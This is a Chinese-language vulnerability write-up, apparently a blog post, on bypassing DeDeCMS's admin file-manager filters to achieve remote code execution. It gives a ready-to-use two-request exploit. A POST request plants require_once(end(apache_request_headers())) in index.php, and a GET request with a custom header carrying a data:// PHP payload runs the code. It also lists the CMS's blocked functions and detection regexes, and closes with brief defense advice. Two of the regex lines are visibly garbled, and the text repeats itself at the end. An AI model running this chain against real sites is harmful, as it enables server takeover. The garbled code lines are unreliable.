记一次最新版DeDecms 绕过层层过滤getshell过程
字数 838 2025-08-22 18:37:14

DeDecms 最新版绕过过滤实现Getshell技术分析

前言

本文详细分析最新版DeDecms(织梦CMS)中存在的安全漏洞,通过绕过多层过滤机制实现Getshell的技术过程。该漏洞利用需要后台权限,主要涉及文件管理模块的过滤绕过技术。

环境搭建

  1. 下载最新版DeDecms
  2. 使用phpstudy搭建测试环境

漏洞分析

初始发现

在获得后台权限后,通过"模块 > 文件管理"功能尝试编辑文件时,发现系统存在严格的恶意代码检测机制。

WAF防护机制分析

系统在file_class.php中实现了多层防护:

1. 路径限制

$filename = preg_replace("#, "", $filename);
$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);

2. 危险函数禁用

$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs . ',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';

3. 正则检测规则

系统实现了四层正则检测:

  1. 检测PHP起始标签:
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE)
  1. 检测变量函数调用:
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE)
  1. 检测错误抑制符调用:
if(preg_match(0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE)
  1. 检测反引号命令执行:
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE)

绕过技术

1. 利用未被禁用的函数

发现apache_request_headers()未被禁用,它是getallheaders()的别名,可在Apache环境下使用。

2. 结合end()函数

使用end()函数获取请求头数组的最后一个元素:

end(apache_request_headers())

3. 利用require_once包含

require_once未被禁用,可用于包含恶意代码。

4. 使用data协议

通过自定义HTTP头配合data协议执行PHP代码。

完整利用过程

第一步:写入恶意代码

file_manage_control.php发送POST请求,写入以下内容:

<?php
require_once(end(apache_request_headers()));

POST请求示例:

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 161
Content-Type: application/x-www-form-urlencoded

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Arequire_once%28end%28apache_request_headers%28%29%29%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

第二步:触发恶意代码

访问被修改的文件,添加自定义HTTP头"rce"并使用data协议:

GET /index.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: dedecms:5135

防御建议

  1. 加强文件管理模块的权限控制
  2. 禁用apache_request_headers()函数
  3. 限制require_once的使用
  4. 禁止data协议的使用
  5. 更新到最新安全版本

总结

该漏洞利用需要后台权限,通过精心构造的代码绕过多层过滤机制,最终实现远程代码执行。管理员应严格控制后台访问权限,并及时应用安全补丁。

DeDecms 最新版绕过过滤实现Getshell技术分析 前言 本文详细分析最新版DeDecms(织梦CMS)中存在的安全漏洞,通过绕过多层过滤机制实现Getshell的技术过程。该漏洞利用需要后台权限,主要涉及文件管理模块的过滤绕过技术。 环境搭建 下载最新版DeDecms 使用phpstudy搭建测试环境 漏洞分析 初始发现 在获得后台权限后,通过"模块 > 文件管理"功能尝试编辑文件时,发现系统存在严格的恶意代码检测机制。 WAF防护机制分析 系统在 file_class.php 中实现了多层防护: 1. 路径限制 2. 危险函数禁用 3. 正则检测规则 系统实现了四层正则检测: 检测PHP起始标签: 检测变量函数调用: 检测错误抑制符调用: 检测反引号命令执行: 绕过技术 1. 利用未被禁用的函数 发现 apache_request_headers() 未被禁用,它是 getallheaders() 的别名,可在Apache环境下使用。 2. 结合end()函数 使用 end() 函数获取请求头数组的最后一个元素: 3. 利用require_ once包含 require_once 未被禁用,可用于包含恶意代码。 4. 使用data协议 通过自定义HTTP头配合data协议执行PHP代码。 完整利用过程 第一步:写入恶意代码 向 file_manage_control.php 发送POST请求,写入以下内容: POST请求示例: 第二步:触发恶意代码 访问被修改的文件,添加自定义HTTP头"rce"并使用data协议: 防御建议 加强文件管理模块的权限控制 禁用 apache_request_headers() 函数 限制 require_once 的使用 禁止data协议的使用 更新到最新安全版本 总结 该漏洞利用需要后台权限,通过精心构造的代码绕过多层过滤机制,最终实现远程代码执行。管理员应严格控制后台访问权限,并及时应用安全补丁。